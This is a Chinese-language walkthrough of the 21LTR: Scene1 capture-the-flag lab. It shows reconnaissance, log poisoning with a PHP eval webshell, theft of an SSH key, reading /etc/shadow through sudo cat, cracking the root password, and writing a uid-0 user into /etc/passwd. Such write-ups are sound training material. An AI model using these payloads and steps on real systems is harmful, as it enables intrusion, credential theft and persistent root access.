21LTR:Scene1
一、配置环境
靶机为静态IP,192.168.2.120,因此kali也要改为同一网段
二、信息收集
nmap扫描,有21、22、80、10001端口开启
nmap 192.168.2.120 -p- -sV -Pn -O
看一下80端口
目录扫描,没什么发现
dirb http://192.168.2.120/
f12查看源码,发现一个账号密码
logs:zg]E-b0]+8:(58G
尝试用这个账号密码连接ssh,ssh连接失败,ftp连接成功
看到这里只有一个backup_log.php文件
下载到本地查看
get backup_log.php /home/kali/Desktop/1.php
查看发现是日志文件
那么可能在之前目录扫描的logs目录下,尝试访问
三、getshell
既然是php的日志文件,那么可以考虑将一句话写入日志中getshell,参考了一下其他文档,需要利用10001端口
telnet 192.168.2.120 10001
<?php @eval($_REQUEST['cmd']);?>
再次访问该文件,可以看到写入进去了
蚁剑连接成功
蚁剑连接后,可以查看一下敏感文件
查看/etc/passwd
因为有ssh服务,就读取一下密钥
将该文件保存到kali中
赋予权限,然后ssh登录
chmod 600 id_rsa
ssh -i id_rsa hbeale@192.168.2.120
四、提权
查看当前用户权限
sudo -l
可以通过cat提权,所以可以看/etc/shadow文件,或者写入文件
这里我选择读取shadow文件,破解密码
sudo cat /etc/shadow
将root用户的密码写入pass.txt,然后开始破解
john --wordlist=rockyou.txt pass.txt
得到密码为formula1
,ssh连接root,权限被拒绝
权限拒绝应该是配置原因,那么只能写入高权限用户了
命令生成密码
openssl passwd 123456
然后依据/etc/passwd文件的格式写一个abab用户
abab:$1$J1DRKiec$c6CXi9UUFTMKwHS6lk3bI1:0:0:/root:/bin/bash
将abab用户写入到/etc/passwd
sudo /usr/bin/cat >> /etc/passwd
切换用户到abab,这里看到权限为root权限,提权成功
su abab